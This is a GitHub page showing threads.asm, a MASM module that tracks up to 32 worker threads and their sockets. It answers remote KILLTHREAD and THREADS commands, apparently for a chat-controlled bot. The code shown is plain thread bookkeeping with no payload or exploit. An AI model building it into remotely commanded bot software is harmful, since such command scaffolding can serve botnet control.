-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy paththreads.asm
183 lines (175 loc) · 4.64 KB
/
threads.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
SendMsg proto :dword, :dword, :dword
AddThread proto :dword, :dword, :dword, :dword
ThreadProc proto :dword, :dword, :dword, :dword, :dword
KillThread proto :dword, :dword, :dword
ListThreads proto :dword, :dword
RemoveThread proto :dword
THREAD struct
btaken byte ?
dwhandle dword ?
dwselfhandle dword ?
dwsocket dword ?
szname byte 64 dup (?)
THREAD ends
.data?
aThread THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
THREAD <>
.code
ThreadProc proc uses edx ecx esi edi dwSocket:dword, szUser:dword, szReply:dword, szCmd:dword, szArguments:dword
local szThreadBuffer[1024]:byte
;kill a thread
invoke lstrcmpi, szCmd, addr szKILLTHREAD
.if eax == 0
invoke GetToken, addr szThreadBuffer, szArguments, 32, 2, FALSE
invoke atodw, addr szThreadBuffer
invoke KillThread, dwSocket, eax, szReply
mov eax, TRUE
jmp @F
.endif
;list running threads
invoke lstrcmpi, szCmd, addr szTHREADS
.if eax == 0
invoke ListThreads, dwSocket, szReply
mov eax, TRUE
jmp @F
.endif
mov eax, FALSE
@@:
ret
ThreadProc endp
AddThread proc uses ecx esi edi dwThread:dword, szName:dword, dwSocket:dword, dwSelfHandle:dword
mov esi, offset aThread
assume esi:ptr THREAD
xor ecx, ecx
.while ecx < 31
push ecx
.if [esi].btaken != 1
mov [esi].btaken, 1
mov ecx, dwThread
mov [esi].dwhandle, ecx
mov ecx, dwSocket
mov [esi].dwsocket, ecx
mov ecx, dwSelfHandle
mov [esi].dwselfhandle, ecx
invoke CopyMemory, addr [esi].szname, szName, 64
pop ecx
jmp @F
.endif
add esi, sizeof THREAD
pop ecx
inc ecx
.endw
@@:
assume esi:NOTHING
ret
AddThread endp
ListThreads proc uses ecx esi edi dwSocket:dword, szReply:dword
local szListNumber[8]:byte
local szListBuffer[128]:byte
invoke SendMsg, dwSocket, szReply, addr szThreads
mov esi, offset aThread
assume esi:ptr THREAD
xor ecx, ecx
.while ecx < 31
push ecx
.if [esi].btaken == 1
push esi
invoke dwtoa, ecx, addr szListNumber
invoke wsprintf, addr szListBuffer, addr szThread, addr szListNumber, addr [esi].szname
invoke SendMsg, dwSocket, szReply, addr szListBuffer
pop esi
.endif
add esi, sizeof THREAD
pop ecx
inc ecx
.endw
assume esi:NOTHING
ret
ListThreads endp
KillThread proc uses ecx edx esi edi dwSocket:dword, dwThread:dword, szReply:dword
mov esi, offset aThread
assume esi:ptr THREAD
xor ecx, ecx
.while ecx < 31
push ecx
.if ecx == dwThread
.if [esi].btaken == 1
mov [esi].btaken, 0
push esi
push esi
invoke RtlZeroMemory, addr [esi].szname, 64
pop esi
invoke closesocket, [esi].dwsocket
pop esi
invoke TerminateThread, [esi].dwhandle, 0
pop ecx
jmp @F
.endif
.endif
assume esi:NOTHING
add esi, sizeof THREAD
pop ecx
inc ecx
.endw
@@:
assume esi:NOTHING
invoke SendMsg, dwSocket, szReply, addr szThreadsKilled
ret
KillThread endp
RemoveThread proc uses ecx edx esi edi dwThread:dword
mov esi, offset aThread
assume esi:ptr THREAD
xor ecx, ecx
.while ecx < 31
push ecx
.if [esi].btaken == 1
mov eax, dwThread
.if eax == [esi].dwselfhandle
mov [esi].btaken, 0
push esi
invoke RtlZeroMemory, addr [esi].szname, 64
pop esi
invoke closesocket, [esi].dwsocket
pop ecx
jmp @F
.endif
.endif
assume esi:NOTHING
add esi, sizeof THREAD
pop ecx
inc ecx
.endw
@@:
assume esi:NOTHING
ret
RemoveThread endp